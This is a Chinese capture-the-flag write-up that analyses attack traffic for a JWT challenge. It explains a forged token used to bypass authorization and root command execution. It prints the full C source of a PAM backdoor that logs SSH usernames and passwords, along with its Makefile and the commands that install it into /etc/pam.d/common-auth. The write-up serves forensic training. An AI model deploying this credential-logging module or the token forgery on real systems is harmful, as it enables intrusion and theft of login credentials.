全網最新最全首屆“隴劍杯”網絡安全大賽完整WIRTEUP --- jwt(6題)


題目描述

昨天,單位流量系統捕獲了黑客攻擊流量,請您分析流量后進行回答:
 
2.1   該網站使用了______認證方式。(如有字母請全部使用小寫)
wp:
jwt是什么? 參考連接 https://www.cnblogs.com/gaohuayan/p/11394342.html
jwt就是JSON Web Token(縮寫 JWT)是目前最流行的跨域認證解決方案,通俗來說就是讓多個服務器知道你是誰,而無需重復登錄。jwt保存在cookie中,格式是

 

 頭中保存的是jwt格式,載荷中保存的是內容,簽名部分保存的是前面內容的哈希值防止篡改

wireshakk打開包,

 

 7號數據包是post方式提交form表單認證,8號數據包表示認證通過同時返回jwt數據和網頁,jwt數據可以簡單理解為cookie。

flag:

因此該網站使用的jwt認證方式,這里有個坑,我開始以為是form表單認證,這里問題描述還是不夠清晰。

 

2.2  黑客繞過驗證使用的jwt中,id和username是______。(中間使用#號隔開,例如1#admin)

wp:

在8號數據包中,我們在cookie中的token中提取jwt數據

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

分為三段

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0

dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

用base64解碼第二段得到

{"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}

flag:

因此10086#admin

我提交后發現不對,我們再次審題 黑客繞過驗證使用的jwt中,重點是黑客繞過驗證,分析數據包,這個jwt是黑客使用弱密碼admin表單登錄后發送給黑客的第一個令牌,並沒有體現繞過二字。之后在27號黑客使用該令牌執行了系統命令whoami,系統返回了   alert("The administrator has the authority to do this, you can’t")\n,意思是只有管理員才有權力執行該命令,你不能執行。黑客此時明白了它並不是最高權限,有再次登錄獲取新的jwt,還是不行。在97號數據包中,黑客首次構造了jwt,構造結果如下

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc; Path=/; Max-Age=3600; HttpOnly

解密后得知,

{"id":10087,"MapClaims":{"username":"admin"}}

這個才是偽造的,之前是系統自動生成的。

flag:
因此10087#admin

 

2.3  黑客獲取webshell之后,權限是______?

wp:

在97號數據包中黑客使用偽造的jwt提交了whoami,98號包返回 root。這里黑客利用了jwt偽造漏洞和命令執行漏洞

flag:

root

 

2.4  黑客上傳的惡意文件文件名是_____________。(請提交帶有文件后綴的文件名,例如x.txt)

wp:

因為一個一個查看黑客執行的代碼比較麻煩,我們導出http對象同意分析文件。再103號數據包中,用base64解碼后都到,將下面1.c寫道/tmp/目錄下

#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}

void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}

snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}

flag:

1.c

 

2.5  黑客在服務器上編譯的惡意so文件,文件名是_____________。(請提交帶有文件后綴的文件名,例如x.so)

wp:

109號數據包中又寫了/tmp/Makefile

CFLAGS += -Werror -Wall

looter.so: looter.c
	gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl

 然后再/tm目錄下執行make命令,將looter.c編譯成looter.so

flag:

因此是looter.so

 

 2.6  黑客在服務器上修改了一個配置文件,文件的絕對路徑為_____________。(請確認絕對路徑后再提交)

wp:

之后黑客發現源代碼文件名稱不對不是1.c,重命名源代碼文件名稱,mv /tmp/1.c /tmp/looter.c,這里是作者故意埋下的坑,讓2.4的問題變得模糊,讓我們以為上傳的文件是looter.c

再次make,此時/tmp下有三個文件Makefile   looter.c   looter.so,編譯好的木馬是looter.so

cp /tmp/looter.so /lib/x86_64-linux-gnu/security/,移動木馬到ssh認證目錄下

echo "auth optional looter.so">>/etc/pam.d/common-auth,這里修改了ssh配置文件

flag:

etc/pam.d/common-auth

 

之后黑客執行了

service ssh restart

cat /tmp/.looter 

Username root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\n

因此黑客上傳的是ssh登錄憑證記錄木馬

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM